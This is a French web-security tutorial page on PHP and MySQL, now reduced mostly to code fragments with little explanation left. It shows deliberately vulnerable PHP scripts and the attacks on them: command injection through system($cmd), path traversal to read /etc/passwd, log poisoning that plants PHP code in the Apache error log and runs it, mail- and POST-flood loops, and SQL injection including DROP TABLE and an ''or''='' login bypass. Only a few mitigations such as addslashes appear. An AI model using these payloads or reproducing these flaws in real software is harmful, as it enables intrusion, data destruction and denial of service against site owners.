
Sécurité avec PHP et MySQL
|
|
FICHE ARTICLE |
|
|
|
|
|
Déposer par : | Czayfaboo |
|
Clicks : | 10418 |
|
|
Pertinence : | 14 / 20 |
|
Commentaire : | 0 |
|
|
Description : |
||||
|
Nous etudierons tout d'abord les scripts et/ou les fonctions PHP pouvant être vulénrables, puis nous étudierons les failles liées à MySQL... |
|||||
|
|
ARTICLE - PAGE 1 / 1 |
|
|
|
<? echo system("uptime"); ?>
4:00am up 1 day, 5:02, 3 users, load average: 0.00, 0.03, 0.00
<?
system($cmd);
?>
http://subkulture/system.php?cmd=cat%20/etc/issue
Resultat : Red Hat Linux release 7.1 (Seawolf) Kernel 2.4.2-2 on an i686
<?
$cmd = "traceroute ".$cmd;
system($cmd);
?>
traceroute: Warning: www.yahoo.com has multiple addresses; using 64.58.76.179
traceroute to www.yahoo.akadns.net (64.58.76.179), 30 hops max, 38 byte packets
...
9 gblon523-tc-p8-0.ebone.net (213.174.71.65) 52.138 ms 47.755 ms 47.945 ms
10 usnyk405-tc-p3-0.ebone.net (213.174.70.58) 115.571 ms 116.682 ms 119.300 ms
11 usnyk105-tc-r2-0.ebone.net (213.174.69.162) 119.398 ms 115.842 ms 119.985 ms
12 ebone-px-jrcy01.exodus.net (195.158.229.130) 120.114 ms 116.874 ms 119.346 ms
Starting nmap V. 2.54BETA29 ( www.insecure.org/nmap/ )
Interesting ports on subkulture (127.0.0.1):
(The 1545 ports scanned but not shown below are in state: closed)
...
if ((strstr($cmd, "|")) || (strstr($cmd, "%7c") )
{
echo "Erreur : caractere interdit !";
break();
}
<?
include("config.php");
include("header.php");
if (file_exists($page))
include($page);
else
include("erreur404.php");
include("footer.php")
?>
Appel de la page : http://subkulture/index.php?page=news.php
http://subkulture/index.php?page=../../../../../etc/inetd.conf
(la plupart des serveur utilsant encore inetd et pas xinetd)
<?
include("config.php");
include("header.php");
$page = $page.".php"; // Ajout d'une extension .php
if (file_exists($page))
include($page);
else
include("erreur404.php");
include("footer.php");
?>
$page = ereg_replace("/", "subk"); //Modification de '/' par 'subk'
$page = ereg_replace("%2f", "subk"); //Idem mais avec l'equivalent unicode de / (%2f)
<? $to = "victim@troll.com";
$subject = "graou";
$message = "I'm a stupid kiddiez";
for ($i = 0; $i < 5000; $i++)
{
mail($to, $subject, $message);
}
?>
<?
include("config.php");
include("header.php");
if (file_exists($page))
include($page);
else
include("erreur404.php");
include("footer.php");
?>
http://www.subkulture.org/index.php?page=
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
http://www.subkulture.org/index.php?page=/etc/inetd.conf
http://www.subkulture.org/index.php?page=/etc/issue
http://www.subkulture.org/index.php?page=/etc/motd
...
DocumentRoot /home/www/subkulture
ServerName subkulture.org
ScriptAlias /cgi-bin/ /home/www/subkulture/cgi-bin/ subkulture
ErrorLog logs/subkulture.org-error_log
CustomLog logs/subkulture.org-access_log combined
ServerAdmin webmaster@subkulture.org
...
[Wed Jun 6 12:12:29 2001] [error] [client 148.100.206.196] File does not exist: /home/www/subkulture/images/subk.jpg
...
http://www.subkulture.org/<? echo "subkulture"; ?> -- ce qui donnera dans le fichier log :
[Tue Jul 24 21:39:30 2001] [error] [client xxx.xxx.xxx.xxx] File does not exist: /home/www/subkulture/<
a2h.c : convertit un char ascii en un char url-encodé :
/* a2h.c - medgi : subkulture 2001 */
#include <stdio.h>
#include <string.h>
int main()
{
char subk;
printf("Entrez un char:\t");
scanf("%c", &subk);
printf("%%%x", subk);
return 0;
}
http://www.subkulture.org/%3c%3f%20system%28%22ls%20%2dal%22%29%3b%20%3f%3e
# permet de placer notre code dans le fichier subkulture.org-error_log
http://www.subkulture.org/index.php?page=/usr/local/apache/logs/subkulture.org-error_log
# Nous consultons le fichier subkulture.org-error_log.
RESULTATS :
[Tue Jul 24 22:12:30 2001] [error] [client xxx.xxx.xxx.xxx] File does not exist: /home/www/subkulture/total 408
drwxr-xr-x 7 mariston mariston 4096 Mar 19 19:18 .
drwxr-xr-x 30 mariston mariston 4096 Jul 20 15:34 ..
-rw-r--r-x 1 mariston mariston 20992 Nov 15 2000 Donnelly_Tragedy.doc
drwxr-xr-x 2 mariston mariston 4096 Nov 15 2000 MRtoilet
-rw-r--r-x 1 mariston mariston 4109 Nov 15 2000 MRtoilet_article
-rw-r--r-x 1 mariston mariston 2123 Nov 15 2000 MRtoilet_review.htm
-rw-r--r-x 1 mariston mariston 403 Aug 23 2000 archive_list_ls
drwxr-xr-x 2 mariston mariston 4096 Aug 23 2000 barpics
-rw-r--r-x 1 mariston mariston 9220 Sep 14 2000 bars.html
-rw-r--r-x 1 mariston mariston 20115 Nov 15 2000 bathroom_wall.jpg
-rw-r--r-x 1 mariston mariston 10635 Oct 10 2000 bathrooms
-rw-r--r-x 1 mariston mariston 4415 Sep 6 2000 bookstore.html
...
$uploaddir = "./uploadfiles";
if (ereg("^\.", "$filename_name") || ereg("[ %/,;:+~#````'$%&\\()?!^|\]\[]", $filename_name))
{
//...
}
elseif (file_exists("$uploaddir/$filename_name"))
{
//...
}
elseif ($filename_size <= $max_uploadsize)
{
copy ($filename, "$uploaddir/$filename_name");
//...
}
<?
copy("page.php", "page_source.txt");
?>
$filename = $filename.".subk"; # Rajoute l'extension .subk
if (ereg("php$", $filename) || ereg("php3$", $filename) || ereg("cgi$", $filename))
{
//Verifie l'extention de $filename
echo "Type de fichiers interdits pour raison de sécurité !";
break();
}
//...
$table = "newsletter":
$query = "SELECT * FROM $table";
$result = mysql_query($query);
//...
//...
$table = "newsletter":
$query = "INSERT INTO $table ('$nom', '$email')";
$result = mysql_query($query);
//...
$query = "INSERT INTO newsletter ('subkulture', 'subkulture@unixlover.com'); INSERT INTO newsletter ('medgi', 'medgi@ht.st')"; $result = mysql_query($query);
NOM : medgi
MAIL: 'medgi@ht.st'); INSERT INTO newsletter ('subkulture','subkulture@unixover.com')
NOM : medgi
MAIL: 'medgi@ht.st'); DROP TABLE newsletter
$nom = addslashes($nom);
$email = addslashes($email);
//Definition de la requete :
$query = "INSERT INTO $table ('$nom', '$email');
if ($action == "ajout")
{
$date = date("Y/m/d H:i");
$ajout_sql = mysql_query("insert into $table (nom, auteur, email, texte, date) values ('$nom', '$auteur', '$email', '$texte', '$date')", $connexion);
}
$query = "SELECT * FROM table_news";
$requete = mysql_query($query);
$nb = mysql_num_rows($requete);
if (($action == "ajout") && ($newsID < $nb))
{
$date = date("Y/m/d H:i");
$ajout_sql = mysql_query(...);
}
//...
int i;
char buffer[] = "POST /commentaire.php?newsID=40&nom=el8&email=fuck@fuck.com&texte=im%20a%20stupid%20kiddiez HTTP/1.0\n\n";
for(i = 0; i <= 5000; i++)
{
send(socket, buffer, strlen(buffer);
}
//...
MaxKeepAliveRequests 100
$table = "identification";
$query = " SELECT Login, Password FROM $table WHERE Login='$login' and Password='$password' ";
$result = mysql_query($query);
SELECT Login, Password FROM identification WHERE Login='medgi' AND Password='subkulture'
SELECT Login, Password FROM identification WHERE Login=''or''='' AND Password=''or''=''
SELECT Login, Password FROM identification WHERE Login='admin' AND Password=''or''=''
SELECT Login, Password FROM identification WHERE Login=''or''=''# AND Password=' $pasword '
SELECT Login, Password FROM identification WHERE Login= '' or ''=''
$login = trim(htmlspecialchars(addslashes($login))); //Parsing du login
$password = trim(htmlspecialchars(addslashes($password))); //parsing du password
if ((strlen($login) != 0) && (strlen($password) != 0))
{
//REQUETE MYSQL
}
else
{
echo "fuck you :) \n";
}
|
|
Commentaires du tutorial |
|
Vous pouvez ci-dessous ajouter un commentaire à cet article (uniquement si vous êtes membre Moteurprog |
|
|
Vous n'êtes pas membre de la communauté Moteurprog, |
AUCUN COMMENTAIRE POUR CET ARTICLE
